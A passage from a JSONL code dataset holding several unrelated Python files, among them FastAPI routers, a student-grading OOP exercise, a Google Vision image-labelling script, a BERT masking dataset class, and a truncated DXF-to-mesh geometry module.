Member.objects.all()\n serializer_class = MemberSerializer\n","repo_name":"Hokk123/Chat_E6","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"4956091230","text":"\"\"\"\nType Floor One, Garden and so on\n\"\"\"\n\nfrom fastapi import APIRouter, Request\nfrom fastapi.templating import Jinja2Templates\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\nobj_app = APIRouter(prefix=\"/obj\")\n\n\n@obj_app.get(\"/\", tags=[\"obj\"])\nasync def show_all_objs(request: Request):\n \"\"\"Return all clients\"\"\"\n return templates.TemplateResponse(\n \"objs.html\", {\"request\": request, \"title\": \"Обекти\"}\n )\n\n\n@obj_app.post(\"/\", tags=[\"obj\"])\nasync def new_obj():\n \"\"\"Return all clients\"\"\"\n return {\"message\": \"New clients\"}\n\n\n@obj_app.put(\"/{obj_id}\", tags=[\"obj\"])\nasync def edit_obj():\n \"\"\"Return all clients\"\"\"\n return {\"message\": \"Edit clients\"}\n\n\n@obj_app.delete(\"/{obj_id}\", tags=[\"obj\"])\nasync def delete_client():\n \"\"\"Return all clients\"\"\"\n return {\"message\": \"Delete clients\"}\n","repo_name":"borko81/ExpensesFastApi","sub_path":"routers/objs.py","file_name":"objs.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18280201840","text":"class Student:\n def __init__(self, name, surname, gender):\n self.name = name\n self.surname = surname\n self.gender = gender\n self.finished_courses = []\n self.courses_in_progress = []\n self.grades = {}\n \n def rate_lecture(self, lecturer, course, grade):\n if isinstance(lecturer, Lecturer) and course in lecturer.courses_attached:\n if course in lecturer.grades:\n lecturer.grades[course] += [grade]\n else:\n lecturer.grades[course] = [grade]\n else:\n return 'ОШИБКА!'\n\n def average_grade(self):\n sum_grades = 0\n len_grades = 0\n for course in self.grades.values():\n sum_grades += sum(course)\n len_grades += len(course)\n avg_grade = round(sum_grades / len_grades, 1)\n return avg_grade\n\n def __str__(self):\n return f' Имя студента: {self.name}\\n Фамилия студента: {self.surname}\\n Средняя оценка за ДЗ: {self.average_grade()}\\n Курсы в процессе: {\",\".join(self.courses_in_progress)}\\n Завершенные курсы:{\", \".join(self.finished_courses)}'\n\n def __lt__(self, other):\n if not isinstance(other, Student):\n print(\"Нельзя сравнить...\")\n return\n return self.average_grade() < other.average_grade() \n \nclass Mentor:\n def __init__(self, name, surname):\n self.name = name\n self.surname = surname\n self.courses_attached = []\n\nclass Lecturer(Mentor):\n def __init__(self, name, surname):\n super().__init__(name, surname)\n self.grades = {}\n \n def average_grade(self):\n sum_grades = 0\n len_grades = 0\n for course in self.grades.values():\n sum_grades += sum(course)\n len_grades += len(course)\n avg_grades = round(sum_grades / len_grades, 1)\n return avg_grades\n\n def __str__(self):\n return f' Имя лектора: {self.name}\\n Фамилия лектора: {self.surname}\\n Средняя оценка за лекции: {self.average_grade()}'\n\n def __lt__(self, other):\n if not isinstance(other, Student):\n print(\"Нельзя сравнить...\")\n return\n return self.average_grade() < other.average_grade()\n\nclass Reviewer(Mentor):\n def __int__(self, name, surname):\n super.__init__(name, surname)\n\n def rate_hw(self, student, course, grade):\n if isinstance(student, Student) and course in self.courses_attached and course in student.courses_in_progress:\n if course in student.grades:\n student.grades[course] += [grade]\n else:\n student.grades[course] = [grade]\n else:\n return 'ОШИБКА!'\n \n def __str__(self):\n return f' Имя проверяющего: {self.name}\\n Фамилия проверяющего: {self.surname}'\n \n# Студенты N1-N2\n\nfirst_student = Student('Вася', 'Пупкин', 'муж')\nfirst_student.courses_in_progress += ['HTML, CSS, JS']\nfirst_student.finished_courses += ['Python']\n\nsecond_student = Student('Варвара', 'Краса', 'жен')\nsecond_student.courses_in_progress += ['HTML, CSS, JS']\nsecond_student.finished_courses += ['Python']\n\n# Лекторы N1-N2\n\nfirst_lecturer = Lecturer('Наталья', 'Орейро')\nfirst_lecturer.courses_attached += ['HTML, CSS, JS']\n\nsecond_lecturer = Lecturer('Дейзи', 'Джонсон')\nsecond_lecturer.courses_attached += ['HTML, CSS, JS']\n\n# Проверяющие N1-N2\n\nfirst_reviewer = Reviewer('Главный', 'Ревизор')\nfirst_reviewer.courses_attached += ['HTML, CSS, JS']\n\nsecond_reviewer = Reviewer('Помощник', 'Ревизора')\nsecond_reviewer.courses_attached += ['HTML, CSS, JS']\n\n# Оценки Студентам N1-N2 за ДЗ\n\nfirst_reviewer.rate_hw(first_student, 'HTML, CSS, JS', 10)\nfirst_reviewer.rate_hw(first_student, 'HTML, CSS, JS', 7)\nfirst_reviewer.rate_hw(first_student, 'HTML, CSS, JS', 5)\n\nsecond_reviewer.rate_hw(second_student, 'HTML, CSS, JS', 4)\nsecond_reviewer.rate_hw(second_student, 'HTML, CSS, JS', 6)\nsecond_reviewer.rate_hw(second_student, 'HTML, CSS, JS', 2)\n\n# Оценки Лекторовым за лекцию\n\nfirst_student.rate_lecture(first_lecturer, 'HTML, CSS, JS', 6)\nfirst_student.rate_lecture(first_lecturer, 'HTML, CSS, JS', 7)\nfirst_student.rate_lecture(first_lecturer, 'HTML, CSS, JS', 10)\n\nsecond_student.rate_lecture(second_lecturer, 'HTML, CSS, JS', 10)\nsecond_student.rate_lecture(second_lecturer, 'HTML, CSS, JS', 9)\nsecond_student.rate_lecture(second_lecturer, 'HTML, CSS, JS', 7)\n\nprint('\\nСтуденты:')\nprint('=' * 10)\nprint(first_student)\nprint('-' * 10)\nprint(second_student)\n\nprint('\\nЛекторы:')\nprint('=' * 10)\nprint(first_lecturer)\nprint('-' * 10)\nprint(second_lecturer)\n\nprint('\\nПроверяющие:')\nprint('=' * 10)\nprint(first_reviewer)\nprint('-' * 10)\nprint(second_reviewer)\nprint('=' * 10)","repo_name":"Shaker111R/OOP_stages","sub_path":"oop_stage1.py","file_name":"oop_stage1.py","file_ext":"py","file_size_in_byte":5071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"11273596410","text":"\nfrom fastapi import FastAPI\nfrom utils.text_processing import extract_keywords\nfrom utils.filters import filter_data_with_keywords\n\napp = FastAPI()\n\n\n@app.post(\"/extract_keywords\")\ndef extract_tokens(request_data: dict):\n text = request_data.get(\"text\", \"\")\n data = request_data.get(\"data\", {})\n keywords = extract_keywords(text)\n summary = filter_data_with_keywords(data, keywords)\n return summary\n\n\n# uvicorn main:app --host 0.0.0.0 --port 3000 --reload\n","repo_name":"thaer899/myresume-ai","sub_path":"myresume-flask/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"35990239251","text":"#!/usr/bin/python3.6\n#pip3.6 install --user google-cloud\n#pip3.6 install --user google-cloud-vision\n\nimport xlrd\nfrom google.cloud import vision\nimport os\nimport pandas as pd\n\nApplication_Credentials = 'Python-03112e22a573.json'\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = Application_Credentials\nclient = vision.ImageAnnotatorClient()\nimage = vision.types.Image()\n\nloc = (\"image_url.xlsx\")\nwb = xlrd.open_workbook(loc)\nsheet = wb.sheet_by_index(0)\nsheet.cell_value(0, 0)\ndf = pd.DataFrame()\n# loop through every url, retreive the image and send to google vision\nfor i in range(sheet.nrows):\n image_src_temp = sheet.cell_value(i, 0)\n image.source.image_uri = image_src_temp\n response = client.label_detection(image=image)\n labels = response.label_annotations\n l = []\n for label in labels:\n l.append(label.description)\n s = ' '.join(l)\n print(\"s\")\n print(s)\n df = df.append({'URL': image_src_temp, 'Labels': s}, ignore_index=True)\ndf.to_excel(\"Insta_withoutcomments1.xlsx\",index=False)\n\n\n#detect_labels_uri('https://scontent-dfw5-1.cdninstagram.com/vp/e2699090d932dfb696ecc8f01bcac7c5/5C4D0CB8/t51.2885-15/e35/42585029_179491772961780_2445579447934310744_n.jpg')","repo_name":"sanchit1276/MIS-381N---User-Generated-Content-Analytics","sub_path":"Final Project related/gcloud (1).py","file_name":"gcloud (1).py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"42070663965","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/9/25 16:04\n# @Author : wangqian\n\nimport copy\nimport os\nimport random\nimport string\nimport re\nfrom itertools import chain\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom transformers import BertTokenizer\nfrom zhon import hanzi\n\nfrom Config import Config\n\n\n\n\ndef getPuncs():\n return set(hanzi.punctuation + string.punctuation+' \\n\\r')\nPuncs=getPuncs()\nstopPuncs=set(' ,,”、>》}】:;!?。:;?!.\\n\\r')\n\ndef paddingList(ls:list,val,returnTensor=False):\n ls=ls[:]#不要改变了原list尺寸\n maxLen=max([len(i) for i in ls])#最小padding长度效果最好78.80\n for i in range(len(ls)):\n ls[i]=[val]*(maxLen-len(ls[i]))+ls[i]\n return torch.tensor(ls,device='cuda') if returnTensor else ls\n\n\n\n\nclass my_Dataset(Dataset):\n #传入句子对列表\n def __init__(self,data:list,tk:BertTokenizer,for_test=False):\n super().__init__()\n self.tk=tk\n self.origin_data=data#[0:100000]\n self.tkNum=self.tk.vocab_size\n\n def __len__(self):\n return len(self.origin_data)\n\n def random_mask(self,text_ids):\n if len(text_ids)==0:\n return [],[]\n input_ids, output_ids = [], []\n rands = np.random.random(len(text_ids))\n idx=0\n while idx initial_len:\n self.vertices[v_coords] = Vertex(v_coords)\n\n def connect(self, vertex1, vertex2):\n '''\n Connect a vertex to another vertex\n\n ARGUMENTS:\n vertex1 (str) -- First vertex to be connected\n vertex2 (str) -- Second vertex to be connected\n\n RAISES:\n TypeError -- if vertexes are not tuples converted to\n strings.\n KeyError -- if vertex has not yet been added\n '''\n # Check that input is correct and convert for consistency\n vertex1 = tuple2_check(vertex1)\n vertex2 = tuple2_check(vertex2)\n\n try:\n self.vertices[vertex1].con(vertex2)\n except KeyError as inst:\n raise KeyError('{} is not an existing vertex'.format(vertex1))\n except RuntimeError as inst:\n raise\n \n try:\n self.vertices[vertex2].con(vertex1)\n except KeyError as inst:\n self.vertices[vertex1].discon(vertex2)\n raise KeyError('{} is not an existing vertex'.format(vertex2))\n\n def disconnect(self, vertex1, vertex2):\n '''\n Disconnect a vertex to another vertex\n\n ARGUMENTS:\n vertex1 (str) -- First vertex to be disconnected\n vertex2 (str) -- Second vertex to be disconnected\n\n RAISES:\n TypeError -- if vertexes are not tuples converted to\n strings.\n KeyError -- if vertex has not yet been added\n '''\n # Check that input is correct and convert for consistency\n vertex1 = tuple2_check(vertex1)\n vertex2 = tuple2_check(vertex2)\n\n # Remove vertex 2 from list of connections for vertex 1\n try:\n self.vertices[vertex1].discon(vertex2)\n except KeyError as inst:\n raise\n\n # Remove vertex 1 from list of connections for vertex 2\n try:\n self.vertices[vertex2].discon(vertex1)\n except KeyError:\n raise RuntimeError('''Vertex connection not symmetric: {} does not\n contain connection info for {}'''.format(vertex2, vertex1))\n\n def remove(self, v_coords):\n '''\n Removes a given vertex from the set of vertices\n\n ARGUMENTS:\n v_coords (tuple) -- Tuple of coordinates defining the vertex\n\n RAISES:\n KeyError -- if v_coords is not an existing vertex\n '''\n # Make sure input is tuple of length 2 containing numbers and convert\n # numbers to floats\n v_coords = tuple2_check(v_coords)\n\n # Try to remove the vertex and throw exception if it fails\n try:\n self.coordinates.remove(v_coords)\n except KeyError:\n raise KeyError('{} is not an existing vertex'.format(v_coords))\n\n # Now figure out the connectivity\n connections = self.vertices[v_coords].connections.copy()\n\n # Remove all of the connections between this vertex and others\n for vertexID in connections:\n self.disconnect(v_coords, vertexID)\n\n # Now finally delete the vertex in the dict\n del self.vertices[v_coords]\n\n def move_vertex(self, v_coords1, v_coords2):\n '''\n Moves a vertex from one position to another by deleting it and then\n recreating it with the same connectivity.\n\n ARGUMENTS:\n v_coords1 (tuple) -- Coordinates for the original vertex\n v_coords2 (tuple) -- New coordinates for the vertex\n\n RAISES:\n KeyError -- if v_coords1 or v_coords2 don't exist\n '''\n # Make sure input is tuple of length 2 containing numbers and convert\n # numbers to floats\n v_coords1 = tuple2_check(v_coords1)\n v_coords2 = tuple2_check(v_coords2)\n\n try:\n connections = self.vertices[v_coords1].connections\n except KeyError:\n raise KeyError('{} is not an existing vertex'.v_coords1)\n\n # Remove the vertex and its connections\n self.remove(v_coords1)\n\n # Add the vertex back but at the new coordinates\n self.add(v_coords2)\n\n # Add back the connections\n for vertexID in connections:\n self.connect(v_coords2, vertexID)\n\nclass DXFGeometry(object):\n '''\n DEVELOPER NOTES:\n - Need to add a method to move a vertex\n\n Class that first reads a DXF file and then converts the information there\n into a form that is appropriate for making meshes. Specifically, the class\n will take the DXF file, break it into its vertices and also into the\n respective line segements that exist between vertexes. These line segements\n can either be arcs that are defined in a number of different ways or simple\n straight lines between points.\n\n ATTRIBUTES:\n dxf (dxfgrabber obj) -- DXF file read by dxfgrabber module\n verts (VertexList obj) -- VertexList class containing information\n about the vertices in the drawing\n segments (set) -- Set of segments defined by two points\n along with additional information in the\n case of arcs/bulges.\n tol (float) -- The tolerance to which all positions are\n specified (default 1.0e-08)\n work_dir (str) -- Working directory for the CrysMAS file\n\n Segments data structure:\n The structure of the segments variable is set of length-2 tuples. Each tuple\n is defined by:\n (1) a tuple of the endpoint coordinates (each given by a tuple)\n (2) a tuple of attributes about the bulge\n\n The tuple of bulge attributes is ordered:\n (i) bulge value\n (ii) arc beginning angle (relative to horizontal) (radians)\n (iii) arc ending angle (relative to horizontal) (radians)\n (iv) arc center coordinates\n (v) radius of arc\n\n A straight line will contain an empty tuple for the bulge information\n '''\n\n def __init__(self, dxf_file, testing=False, verbose=False, tol=1.0e-08):\n '''\n Reads the DXF file and any arguments that may have been passed to the\n class. This could include command-line arguments.\n\n ARGUMENTS:\n dxf_file (str) -- Name of DXF file to be loaded\n\n OPTIONAL ARGUMENTS:\n testing (bool) -- If testing mode is activated, entities are\n NOT added from the DXF file.\n (Default = False)\n verbose (bool) -- When vebose is True, every entity added\n will have information about it printed.\n (Default = False)\n tol (float) -- The tolerance to which all positions will be\n rounded. This is important when points \n overlap in the DXF file but differ slightly\n in their coordinates. Without the tolerance,\n these would be treated as separate points\n when the user might intend that they are the\n same point. This often happens with repeated\n patterns.\n (Default = 1.0e-08)\n '''\n # Make sure the right dxfgrabber is installed\n self.dxfgrabber_version_check()\n\n self.dxf_path = dxf_file\n self.verts = VertexList()\n self.segments = set([])\n self.tol = tol #Rounds coordinates to this tolerance\n self.testing = testing\n no_file = False\n\n # Turn on/off verbose printing\n self.__verbose__ = verbose\n if self.__verbose__:\n self.turn_on_verbose()\n else:\n self.turn_off_verbose()\n\n # Turn off verbose mode while testing\n if self.testing:\n self.turn_off_verbose()\n\n # Extract path information\n self.work_dir, self.dxf_name = os.path.split(os.path.splitext(self.dxf_path)[0])\n\n # If testing, don't worry about file name\n try:\n self.dxf = dxfgrabber.readfile(dxf_file)\n except IOError:\n if not self.testing:\n raise\n else:\n no_file = True\n\n # Add all entities in dxf_file to segments and verts if not testing\n if not no_file:\n self.add_entities(self.dxf.entities)\n self.rem_reversed()\n\n def __repr__(self):\n return 'DXFGeometry object created from {}.dxf'.format(self.dxf_name)\n\n def dxfgrabber_version_check(self):\n '''\n Checks if the current DXFgrabber version is acceptable. Currently\n version 0.8.0 is incompatible.\n '''\n version = pkg_resources.get_distribution('dxfgrabber').version\n if version == '0.8.0':\n raise ImportError('dxfgrabber version should not be 0.8.0')\n elif cmp('0.7.5', version) > 0:\n print('''WARNING: dxfgrabber versions later than 0.8.0 have not been\n tested... use with caution''')\n\n def turn_on_verbose(self):\n '''Turns on verbose printing'''\n self.vprint = lambda *args: print(*args) # Standard print function\n\n def turn_off_verbose(self):\n '''Turns off verbose printing'''\n self.vprint = lambda *args: None # Return nothing\n\n def add_dxf(self, dxf_file):\n '''\n Extracts the entities from a dxf file and adds them to the geometry.\n This method is useful for merging two DXF files together.\n\n ARGUMENTS:\n dxf_file (str) -- Name of DXF file to be loaded\n '''\n # Consider using a while structure with file to properly handle\n dxf = dxfgrabber.readfile(dxf_file)\n entities = dxf.entities\n dxf = None # Not sure if this is necessary to close file\n self.add_entities(entities)\n\n return entities\n\n\n def add_entities(self, dxfentities):\n '''\n Breaks up DXF entities to extract their segment and vertex information\n and store that information. Also removes reversed duplicates after\n adding the entities.\n\n ARGUMENTS:\n entities (obj) -- DXFgrabber entity or entities object to be\n added to be stored in segments and verts\n\n RAISES:\n TypeError -- if dxftype attribute of the DXF entity is\n not 'LINE', 'ARC', 'POLYLINE', 'CIRCLE', or\n 'POINT'. Currently, only the first three\n are handled and the last two are ignored.\n\n '''\n # Check if another DXFGeometry object was passed\n if dxfentities.__class__.__name__ == 'DXFGeometry':\n entities = dxfentities.dxf.entities\n else:\n # Check if object passed is a signle entity or not\n try:\n dxftype = dxfentities.dxftype\n except AttributeError: #Collections don't have dxftype attribute\n entities = dxfentities\n else:\n entities = [dxfentities] #Make into one-element list for looping\n\n # Loop over entities\n for entity in entities:\n if entity.dxftype == 'LINE':\n self.add_line(entity)\n elif entity.dxftype == 'ARC':\n self.add_arc(entity)\n elif entity.dxftype == 'POLYLINE' or entity.dxftype == 'LWPOLYLINE':\n self.add_polyline(entity)\n elif entity.dxftype == 'CIRCLE':\n pass\n elif entity.dxftype == 'POINT':\n pass\n else:\n raise TypeError('DXF entitiy type, {}, is not supported'.format(entity.dxftype))\n\n def add_line(self, entity):\n '''\n Converts a DXF line entity (or entitines) to the proper form and adds\n the information to the list of vertices and to the set of segments\n\n ARGUMENTS:\n entity (obj) -- DXF entity from dxfgrabber\n\n RAISES:\n TypeError -- if entitiy.dxftype is not 'LINE'\n '''\n # Check input\n if entity.dxftype != 'LINE':\n msg = 'dxf entitiy passed was not a LINE but a {}'.format(entity.dxftype)\n raise TypeError(msg)\n\n # Find end-points\n start = (approx(entity.start[0], tol=self.tol), approx(entity.start[1], tol=self.tol))\n end = (approx(entity.end[0], tol=self.tol), approx(entity.end[1], tol=self.tol))\n\n # Add vertices and connect them\n self.verts.add(start)\n self.verts.add(end)\n self.verts.connect(start, end)\n\n # Collect segment data and add to set\n initial_len = len(self.segments)\n seg = ((start, end),())\n self.vprint('adding line {}'.format(seg[0]))\n self.segments.add(seg)\n if len(self.segments) == initial_len:\n self.vprint('\\tSegment already exists... skipped')\n\n def add_arc(self, entity):\n '''\n Converts a DXF arc entity (or entities) to the proper form and adds the \n information to the list of vertices and to the set of segments. Bulge\n and arc information is also compiled and computed.\n\n ARGUMENTS:\n entity (obj) -- DXF entity from dxfgrabber\n\n RAISES:\n TypeError -- if entitiy.dxftype is not 'ARC'\n '''\n # Check input\n if entity.dxftype != 'ARC':\n msg = 'dxf entitiy passed was not an ARC but a {}'.format(entity.dxftype)\n raise TypeError(msg)\n\n # Extract information (again ignoring z-coordinate)\n start_angle = np.radians(entity.startangle)\n end_angle = np.radians(entity.endangle)\n center = (approx(entity.center[0], tol=self.tol), approx(entity.center[1], tol=self.tol))\n radius = approx(entity.radius, tol=1.0e-12)\n\n # Calculate bulge and start/stop information\n theta = ccw_angle_diff(start_angle, end_angle)\n bulge = np.tan(theta/4)\n start = (approx(radius*np.cos(start_angle) + center[0], tol=self.tol), \n approx(radius*np.sin(start_angle) + center[1], tol=self.tol))\n end = (approx(radius*np.cos(end_angle) + center[0], tol=self.tol), \n approx(radius*np.sin(end_angle) + center[1], tol=self.tol))\n\n # Add vertices and connect them\n self.verts.add(start)\n self.verts.add(end)\n self.verts.connect(start, end)\n\n # Collect segment data and add to set\n initial_len = len(self.segments)\n seg = ((start, end), (bulge, start_angle, end_angle, center, radius))\n self.vprint('adding arc {}'.format(seg[0]))\n self.segments.add(seg)\n if len(self.segments) == initial_len:\n self.vprint('\\tSegment already exists... skipped')\n\n def add_polyline(self, entity):\n '''\n Converts a DXF polyline entity into segments while transforming bulges\n into arcs (defined by a center of curvature and radius of curvature) and\n storing the vertex and segment information.\n\n ARGUMENTS:\n entity (obj) -- DXF entity from dxfgrabber\n \n RAISES:\n TypeError -- if entitiy.dxftype is not 'POLYLINE'\n '''\n # Check input\n if entity.dxftype != 'POLYLINE' and entity.dxftype != 'LWPOLYLINE':\n msg = 'dxf entitiy passed was not a POLYLINE but a {}'.format(entity.dxftype)\n raise TypeError(msg)\n\n self.vprint('Breaking up this polyline into segments:\\n{}'.format(entity))\n # Loop through the points in the polyline\n for i, point in enumerate(entity.points):\n # Add the current point\n start = (approx(point[0], tol=self.tol), \n approx(point[1], tol=self.tol))\n self.verts.add(start)\n try:\n # Add the next point if it exists\n next_point = entity.points[i+1]\n except IndexError:\n # Next point DOESN'T exist therefore this is the end of the\n # polyline\n if entity.is_closed:\n # If polyline is closed, connect the last point (the current\n # point) back to the first point\n first_point = entity.points[0]\n end = (approx(first_point[0], tol=self.tol), \n approx(first_point[1], tol=self.tol))\n self.verts.connect(start, end)\n else:\n # Otherwise the polyline is open so all segments have been\n # added already\n self.vprint('\\tThis polyline is not closed!')\n break\n else:\n # The next point DOES exist so add it and connect it to the\n # current point\n end = (approx(next_point[0], tol=self.tol), \n approx(next_point[1], tol=self.tol))\n self.verts.add(end)\n # Connect the two points\n #print start, end\n self.verts.connect(start, end)\n\n # Find number of segments before adding this one\n initial_len = len(self.segments)\n\n # Check whether there is a bulge in this segment\n if entity.bulge[i] != 0:\n # Convert bulge information to arc and store information\n bulge = entity.bulge[i]\n # Distance between points\n d = np.sqrt((start[0] - end[0])**2 + (start[1] - end[1])**2)\n # Angle between points from center\n theta = 4*np.arctan(bulge)\n # Radius of circle making arc\n radius = approx(d/2/np.sin(abs(theta)/2), tol=1e-12)\n # Find angle of segment relative to x axis\n alpha = np.arctan2(end[1]-start[1], end[0]-start[0])\n # beta = (np.pi/2 - abs(theta)/2)*(np.pi - abs(theta))/abs(np.pi - abs(theta))\n # # Angle to radius vector from x-axis is then the sum of alpha\n # # and beta\n # gamma = alpha + beta\n if bulge > 0:\n # Find angle between segment and radius. Beta is negative if\n # theta is greater than pi\n beta = np.pi/2 - theta/2\n # Angle to radius vector from x-axis is then the SUM of\n # alpha and beta\n gamma = alpha + beta\n else:\n # Find angle between segment and radius. Beta is negative if\n # theta is greater than pi\n beta = np.pi/2 + theta/2\n # Angle to radius vector from x-axis is then the DIFFERENCE\n # between alpha and beta\n gamma = alpha - beta\n # Gamma angle and radius describe the vector pointing from the\n # start point to the center\n center = (approx(radius*np.cos(gamma)+start[0], tol=self.tol),\n approx(radius*np.sin(gamma)+start[1], tol=self.tol))\n # Now compute start and stop angles relative to horizontal in\n # a counter-clockwise sense\n start_angle = angle360(np.arctan2(start[1]-center[1], \n start[0]-center[0]))\n end_angle = angle360(np.arctan2(end[1]-center[1],\n end[0]-center[0]))\n\n # Compile all bulge/arc information and add it to segments\n seg = ((start, end), (bulge, start_angle, end_angle, center,\n radius))\n self.vprint('\\tadding arc {}'.format(seg[0]))\n self.segments.add(seg)\n if len(self.segments) == initial_len:\n self.vprint('\\tSegment already exists... skipped')\n\n # Segment is a straight line\n else:\n seg = ((start, end), ())\n # Add info to segments\n self.vprint('\\tadding line {}'.format(seg[0]))\n self.segments.add(seg)\n if len(self.segments) == initial_len:\n self.vprint('\\tSegment already exists... skipped')\n\n def reverse_seg(self, seg):\n '''\n Reverses a given segment including the bulge information\n '''\n # First reverse the segment\n rev_seg_coords = (seg[0][1], seg[0][0])\n if seg[1] == ():\n rev_seg_info = ()\n else:\n # Calculate reversed arc/bulge information\n bulge, start_angle, end_angle, center, radius = seg[1]\n rev_bulge = -bulge\n rev_s_angle = end_angle\n rev_e_angle = start_angle\n rev_center = center\n rev_radius = radius\n rev_seg_info = (rev_bulge, rev_s_angle, rev_e_angle, rev_center,\n rev_radius)\n # Create the reversed segment\n rev_seg = (rev_seg_coords, rev_seg_info)\n return rev_seg\n\n def rem_reversed(self):\n '''\n Looks at the current set of segments and removes repeat segments that\n exist as reversals of currently existing segments. This is accomplished\n by reversing every segment and then trying to remove the original, non-\n reversed segment if the reversed segment also exists.\n '''\n # Convert segment set to list\n pruned_segs = self.segments.copy()\n for seg in self.segments:\n rev_seg = self.reverse_seg(seg)\n # Check if the reversed segment is in the list of segments\n if rev_seg in pruned_segs:\n # Remove the non-reversed segment\n pruned_segs.remove(seg)\n else:\n continue\n self.segments = pruned_segs\n if not self.testing:\n self.vprint('Reversed segments have been removed from {}'.format(self.dxf_path))\n return pruned_segs\n\n def move_vertex(self, old_coords, new_coords):\n '''\n Moves a vertex belonging to a line. At the moment, only straight lines\n are supported.\n\n ARGUMENTS:\n old_coords (tuple) -- Coordinates of the old vertex expressed as a\n length-2 tuple\n new_coords (tuple) -- Coordiantes of the old vertex expressed as arc\n length-2 tuple\n\n RAISES:\n RuntimeError -- if a line segment either appears to not exist or\n if the segment contains bulge information\n\n DEVELOPER NOTES:\n If support for bulges were to be added, one way would be to add a\n segments dict where the vertices were used as a key and the information\n was a tuple of bulge information entries. More than one entry could\n exist for a given set of vertices since one can have multiple lines\n between two points with different bulge values. This would allow bulge\n information to be modified by moving the vertex although it would be\n tricky to rationally choose how to modify the bulge information.\n '''\n # Make sure the old_coords are actually a vertex\n try:\n old_vert = self.verts.vertices[old_coords]\n except KeyError:\n print('Vertex cannot be moved because the vertex does not exist!')\n raise\n\n # Now find segment information that corresponds to this vertex\n old_lines = []\n new_lines = []\n for vert in old_vert.connections:\n if ((old_coords, vert), ()) in self.segments:\n old_lines.append(((old_coords, vert), ()))\n new_lines.append(((new_coords, vert), ()))\n elif ((vert, old_coords), ()) in self.segments:\n old_lines.append(((vert, old_coords), ()))\n new_lines.append(((vert, new_coords), ()))\n else:\n raise RuntimeError('''The segment ({}, {}) contains bulge\n information. Segments with bulges cannot be moved at this\n time.'''.format(old_coords, vert))\n\n # Move the vertex in the vertex list\n self.verts.move_vertex(old_coords, new_coords)\n # Recreate the line segments\n for old, new in zip(old_lines, new_lines):\n self.segments.remove(old)\n self.segments.add(new)\n\n def find_intersections(self):\n '''\n Finds the intersections between line segments. These intersections can\n be of four forms:\n 1) two lines simply intersect and have different slopes\n 2) two lines share a common end-point\n 3) one endpoint lies on the other line\n 4) both lines are colinear and overlap\n\n or no intersection occurs. A sweep-line algorithm is used to first order\n the vertices and then sweep through the verticies in order from left to\n right. If a right-endpoint of a line causes that line to switch\n positions in the currently active lines (ordered from bottom to top),\n an intersection has likely occured and must be tested for.\n '''\n pass\n\n def cats2d_convert(self, invert_coords=True, len_scale=None):\n '''\n Converts the data to a form that can be used in creating a Cats2D mesh.\n\n OPTIONAL ARGUMENTS:\n invert_coords (bool)-- When evalatues to True, the coordinates for\n every point will be swapped. This facilitates\n the fact that Cats2D operates in a geometry\n where y maps to r and x maps to z when a CAD\n drawing will likely map the opposite.\n (Default = True)\n len_scale (float) -- If specified, all coordinates in the DXF file\n will be divided by this value. It is up to the\n user to ensure that the correct units are used.\n\n RETURNS:\n v_coords (list) -- List of vertex coordinates where each coordinate\n is given by a tuple.\n edges (list) -- A list of tuples where each tuple contains two\n indicies identifying which vertices in v_coords\n make up the edge\n bulges (list) -- If any edges have bulges, the bulge information\n is saved and indexed to the edges in the form\n (edge_index, (bulge_info)).\n\n WARNINGS:\n UserWarning -- if bulge information is passed to this function.\n Currently, the bulge information is not output\n to Cats2D and may or may not be destroyed.\n '''\n # Find the intersections\n\n # Do something for each type of intersection\n\n # Create the v_coords list\n v_coords = list(self.verts.coordinates)\n # Now create a dictionary to associate coordinates with an index\n v_dict = dict(zip(v_coords, range(len(v_coords))))\n\n # Convert segments to edges by looping and converting vertex coordinates\n # to vertex indicies\n edges = []\n bulges = []\n for seg in self.segments:\n start_vert = v_dict[seg[0][0]]\n end_vert = v_dict[seg[0][1]]\n edges.append((start_vert, end_vert))\n # If the segment is a bulge, save the information in bulges\n if seg[1]:\n i = len(edges) - 1 #Find edge index\n bulges.append((i, seg[1]))\n print('''WARNING: Segment {} contains a bulge.\\n\\tBulge Info: {}\n '''.format(seg[0], seg[1]))\n\n # Swap the x and y coordinates by default\n if invert_coords:\n x_coords, y_coords = zip(*v_coords)\n v_coords = zip(y_coords, x_coords)\n self.vprint('Swapping x and y coordinates for export to Cats2D')\n\n # Non-dimensionalize the coordiantes if needed\n if len_scale:\n len_scale = float(len_scale)\n v_coords = [(x/len_scale, y/len_scale) for x, y in v_coords]\n\n # Now return information\n return v_coords, edges, bulges\n\n def output_to_crysmas(self, dxf_units='mm', f_name=None):\n '''\n Outputs the current geometry to a CrysMAS mesh file. Will convert from\n the dxf_units into meters by the appropriate conversion factor. Bulges\n are converted into straight lines.\n\n NOTE: There is a chance that CrysMAS will have issues with Windows\n newline characters. If this is the case, run this code on a Unix\n platform to create the .pcs file.\n\n OPTIONAL ARGUMENTS:\n dxf_units (str) -- Specify the units of the DXF file as either\n 'mm', 'cm', 'm', 'in' or 'ft'. The code will\n then convert the dimensions into meters for\n CrysMAS (Default='mm').\n f_name (str) -- Output .pcs file name. If none is specified,\n the name of the DXF file is used for the .pcs\n file as well.\n\n RAISES:\n TypeError -- if units are given that aren't any of the above\n '''\n # Create scaling factor for units (converting to m)\n units = {'m':1, 'cm':0.01, 'mm':0.001, 'in':2.54/100., 'ft':12*2.54/100}\n try:\n scale_factor = units[dxf_units]\n except IndexError:\n msg = 'dxf units must be specified in {}'.format(', '.join(units.keys()))\n raise TypeError(msg)\n\n # Open the CrysMAS .pcs file\n if f_name == None:\n f_name = self.dxf_name\n crys_path = os.path.join(self.work_dir, f_name+'.pcs')\n crys_file 